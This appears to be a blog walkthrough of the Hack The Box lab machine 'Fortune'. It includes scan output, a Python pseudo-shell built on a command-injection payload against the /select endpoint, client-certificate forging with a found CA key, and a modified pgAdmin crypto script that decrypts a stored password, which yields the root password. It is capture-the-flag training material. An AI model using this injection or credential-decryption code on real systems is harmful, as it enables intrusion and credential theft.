/var/log $ cat "Hack The Box - Fortune Walkthrough"

2019-08-03 | hackthebox ctf 

Machine Info

Fortune Machine Info

tl;dr

  1. Find and use RCE on port 80 website.
  2. Get the Intermediate CA private key and create a client certificate for accessing HTTPS.
  3. Get a SSH key from the HTTPS website.
  4. SSH into box and re-scan the box to discover a NFS share.
  5. Mount the share to get user flag and hint for root password.
  6. Reverse engineer how pgAdmin 4 v3.4 decrypts passwords.
  7. Decrypt the database password to gain root access.

Tools used: nmap, burp, python, openssl, mount, pgadmin4, sqlite

Initial Recon

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Nmap scan report for 10.10.10.127
Host is up (0.030s latency).
Not shown: 65532 closed ports
PORT    STATE SERVICE    VERSION
22/tcp  open  ssh        OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
|   256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_  256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp  open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp open  ssl/https?
|_ssl-date: TLS randomness does not represent time

From the nmap scan report we can see three TCP services running: SSH, HTTP and HTTPS. From the HTTP header we can see that the box is presumably running OpenBSD where httpd is the OpenBSD web server.

Initial Enumeration

SSH and HTTPS

As normally SSH is not the way forward in the first place I skipped having a look at it.

When trying to access https://10.10.10.127 after accepting the self-signed certificate we get a SSL_ERROR_HANDSHAKE_FAILURE_ALERT:

SSL_ERROR_HANDSHAKE_FAILURE_ALERT

Accessing the URL with curl gives us some more details what happened:

Accessing with curl

Checking against the TLSv1.2 specification in The Transport Layer Security (TLS) Protocol Version 1.2 - 7.4 Handshake Protocol wee see that the server requests a client certificate from us. As we do not have one we cannot access HTTPS for now.

HTTP

Browsing to http://10.10.127 we get a very simple site where we can select a fortune database and when hitting submit outputs a random fortune for us:

Select a Fortune

Random Fortune

From the code of the page or using burp we can see what is posted to the /select endpoint:

POST

Using burp’s intruder module in sniper mode with the All-attack.txt word-list from wfuzz outputs something quite useful:

burp Sniper

Found RCE

Using the repeater function to confirm that we do have RCE here:

RCE Confirmation

Own User

Getting a Shell (sort of)

Despite the box having a few tools which would allow a reverse shell I could not get one working. So I wrote a little Python script which uses the RCE to have a pseudo shell:

0
1
2
3
4
5
6
7
8
#!/usr/bin/env python3
import requests

while 1:
  rawInput = input('$ ')
  cmd = ';printf "SPLIT";' + rawInput + ';printf "SPLIT"'
  payload = {'db': cmd}
  req = requests.post("http://10.10.10.127/select", data=payload)
  print(req.text.split('SPLIT')[1], end='')

Pseudo Shell

Accessing HTTPS

Checking httpd.conf found in /etc/httpd.conf we see which CA certificate is used for the client authentication:

Fortune's httpd.conf

Searching through the box we also can find a private key in /home/bob/ca/intermediate/private/intermediate.key.pem:

Private RSA Key

Judging based on the file path this seems to be an intermediate CA private key. After copying both the private key and the CA certificate from /etc/ssl/ca-chain.crt over to our own machine and using this guide we can confirm that the key we found was used so sign the CA certificate used for the TLS client authentication:

Verifying the private key against the certificate

Now we create our own client certificate and convert it:

Generating the Client Certificate

After importing our newly created PKCS12 certificate into our browser we are now able to access HTTPS:

HTTPS access

Hitting ‘generate’ we are presented with a SSH key pair:

Generated SSH Key Pair

SSH and more Services

After copy-pasting the private key from the website we try to ssh into the box. As the page does not give us any clue which username to use we have to figure it out. From /etc/passwd we know the users ‘bob’, ‘charlie’ and ‘nfsuser’. Trying them we find that ‘nfsuser’ works but the shell is not working in any way:

SSH as 'nfsuser'

Running nmap again while connected to SSH we find some more services now:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
|   256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_  256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp   open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
111/tcp  open  rpcbind    2 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3         2049/tcp  nfs
|   100003  2,3         2049/udp  nfs
|   100005  1,3          619/udp  mountd
|_  100005  1,3          899/tcp  mountd
443/tcp  open  ssl/https?
|_ssl-date: TLS randomness does not represent time
2049/tcp open  nfs        2-3 (RPC #100003)
8081/tcp open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: pgadmin4

Having a look what NFS shares are available and mounting it we can grab the user flag found in /home/charlie:

Mounting NFS share and User Flag

Own root

Full SSH Access

To get a fully interactive SSH session we add ourself to /home/charlie/.ssh/authorized_keys using either the key pair which was generated on the website or with a new pair. Now we have SSH access as ‘charlie’:

SSH as 'charlie'

In /home/charlie we find the file mbox which gives us a very helpful hint:

Mail for 'charlie'

Obtaining the ‘dba’ Password

From the pgAdmin 4 3.4 documentation we can see that the configuration parameters are stored in a file named config_local.py. Searching for it and having a look in its contents we can determine the path to the SQLite database where pgAdmin stores credentials:

pgAdmin local_config.py

Using the SQLite client installed on the box we can get the encrypted password from the table ‘server’:

Encrypted password

Decrypting the Password and getting the Flag

After installing and running pgAdmin 4 version 3.4 in a local test environment we find that the password crypto part is handled in the module crypto.py. As it turns out all we need to decrypt the ‘dba’ password is the hashed user password (no need to know it what it is) from the user who did the database setup.

Again we use the SQLite to get the user password hashes from the table ‘user’:

pgAdmin User Password Hashes

Next step is to modify crypto.py so that it decrypts the password for us:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import base64

from Crypto.Cipher import AES

padding_string = b'}'

def decrypt(ciphertext, key):
    global padding_string
    ciphertext = base64.b64decode(ciphertext)
    iv = ciphertext[:AES.block_size]
    cipher = AES.new(pad(key), AES.MODE_CFB, iv)
    decrypted = cipher.decrypt(ciphertext[AES.block_size:])
    return decrypted

def pad(key):
    global padding_string
    str_len = len(key)
    if str_len > 32:
        return key[:32]
    if str_len == 16 or str_len == 24 or str_len == 32:
        return key
    if not hasattr(str, 'decode'):
        padding_string = padding_string.decode()
    return key + ((32 - str_len % 32) * padding_string)

dba = "utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz"
key_charlie = "$pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ"
key_bob = "$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg"

print(decrypt(dba, key_charlie))
print(decrypt(dba, key_bob))

The decryption using the hash of ‘charlie’ does not look promising whereas the version with bob’s hash does:

Decrypted Password

Trying to su with ‘R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!’ as root password works and we can grab the flag:

Fortune root Flag